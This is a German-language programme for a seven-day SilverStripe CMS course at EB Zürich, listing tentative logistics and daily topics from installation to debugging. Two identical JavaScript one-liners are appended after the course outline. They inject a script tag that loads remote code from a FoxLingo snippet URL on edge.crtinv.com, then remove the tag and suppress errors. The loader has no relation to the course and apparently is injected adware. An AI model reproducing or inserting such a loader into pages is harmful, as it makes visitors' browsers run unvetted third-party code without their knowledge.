Programm

Die Eckpfeiler des Kurses sind noch nicht geklärt, als Vorschlag, gemäss der Anfrage sind folgende Daten vorgesehen:

  • Kurstage 7X
  • Zeit 3 1/2 Std. je Kurstag (wie Quartalskurs)
  • Wochentag noch offen
  • Mittag/Abend noch offen
  • Ort noch offen (BIZE/Technopark)
  • Anmelden über: www.eb-zuerich.ch

 

Kurstermine, Ausschreibung und Informationen

 

Überblick - Programm

  • Tag 1
    • Grundlagen Übersicht
    • Installation und Datenbankzugang
    • Verwenden eines Theme (Template)
    • Was ist ein CMS (ContentManagementSystem), was ist ein MVC (ModelViewController)
    • die Datei _config.php
    • Erste Inhalte erstellen, ein Lerntagebuch in der eigenen «Site» aufbauen
  • Tag 2
    • Module verwenden und installieren, Übersicht
    • Formulare erstellen mit dem Modul UserDefinedForm
    • Inhalte erstellen, sortieren und bearbeiten
    • Bilder und Dateien mit dem Editor verwenden
    • Lerntagebuch
  • Tag 3
    • Was ist ein Controller
    • Grundlagen und Überblick: OOP
    • Einen eigenen Controller erstellen und benutzen
    • Was ist ein View, Ausgabedatei, erstellen und benutzen
    • Trennung von: HTML - CSS - Inhalt
    • Lerntagebuch
  • Tag 4
    • Ein eigenes Template aufbauen
    • Grundlagen mit HTML5
    • Aufbau und Programmierung eines Theme (Template)
    • Page-View mit verschiedenen Include-Dateien, aufgeräumtes Programmieren
    • Navigation und Controlls
  • Tag 5
    • Finetuning einer Listen-Navigation mit Silverstripe
    • Trennen von Service-, Top- und SideBar-Navigation
    • Verschiedene Controll-Möglichkeiten
    • Aufbau und Gestaltung komplexer Navigationsstrukturen
    • Lerntagebuch
  • Tag 6
    • OOP Vererbung und Erweiterung, das Grundprinzip
    • Erweitern des Backends mit eigenen Formularfeldern und eigener Datenbankerweiterung
    • Eigenen ersten Controller und Model schreiben
    • Ausgabe mit dem dazugehörigen View gestalten
    • Lerntagebuch
  • Tag 7
    • Debugging und Fehlersuche
    • Was steckt hinter den Befehlen: "dev/build" und "?flush=1"
    • Die Silverstripe Referenz
    • Die Silverstripe-Community
    • Zügeln der ganzen Applikation
    • Kursabschluss

 

!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();

!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();